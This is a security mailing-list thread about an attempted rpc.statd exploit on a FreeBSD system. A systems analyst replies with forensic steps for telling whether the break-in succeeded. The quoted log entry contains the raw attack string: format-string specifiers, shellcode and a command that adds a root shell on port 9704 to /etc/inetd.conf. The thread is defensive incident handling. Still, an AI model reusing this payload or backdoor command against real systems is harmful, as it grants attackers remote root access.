Re: rpc.statd exploit?

[azimuth <lozah () IO COM>]

Howdy Dave,

If you do file integrity checks with Tripwire or similar software, go
over your suspect system looking for changes.

If that's not an option, I check to see if any user accounts or inetd
services were added to the system.  I get a known good copy of lsof.  I
compile it on a different system, transfer it to the suspect system, &
check lsof output for anything that looks unusual -- bound ports,
processes, etc.  If evidence of a successful breakin is found, it's time
for a reinstall.

http://www.securityfocus.com/data/tools/lsof_4.50_W.tar.gz

good luck,

Ben Laws
Systems Analyst
Hobby-Eberly Telescope
UT McDonald Observatory


Dave wrote:
> Hello all,
>
> While looking through the log files, I came across a few peculiar lines
> that appear to be an attempt to overflow the rpc.statd and insert a root
> shell into /etc/inetd.conf on port 9704.  Later,  I noticed that the NIC
> went into promisc. mode and dropped out of it twice.  Is anyone familiar
> with this exploit?  What should I be looking for to tell if it was
> successful.  The system is FreeBSD 4.1-stable.  FreeBSD's website
> revealed no information reguarding exploits on rpc.statd.
>
> Any Information is appreciated.
>
> Aug 12 02:59:14 rpc.statd: Invalid hostname to sm_mon:
> ^D<F7><FF><BF>^D<F7><FF><BF>^E<F7><FF><BF>^E<F7><FF><BF>^F<F7><FF><BF>
> ^F<F7><FF><BF>^G<F7><FF><BF>^G<F7><FF><BF>%08x %08x %08x %08x %08x %08x
> %08x %08x %08x %08x %08x %08x %08x %08x %0242x%n%055x%n%012x
> %n%0192x%nM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
> ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
> ^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-^PM-
> ^PM-^P<EB>K^M-  v<AC>M-^C<EE> M-^M^(M-^C<C6> M- ^<B0>M-^C
> <EE> M-^M^.M-^C<C6> M-^C<C3> M-^C<EB>#M-        ^<B4>1<C0>M-^C<EE>
> M-^HF'M-^HF*M-^C<C6> M-^HF<AB>M-     F<B8><B0>+, M-  <F3>M-^MN
> <AC>M-^MV<B8><CD>M-^@1<DB>M-
>    <D8>@<CD>M-^@<E8><B0><FF><FF><FF>/bin/sh -c echo 9704 stream tcp
> nowait root /bin/sh sh -i >> /etc/i
> netd.conf;killall -HUP inetd
>
> Dave Byrne
> Systems Administrator
> AtomicMinds
> (858) 350-0012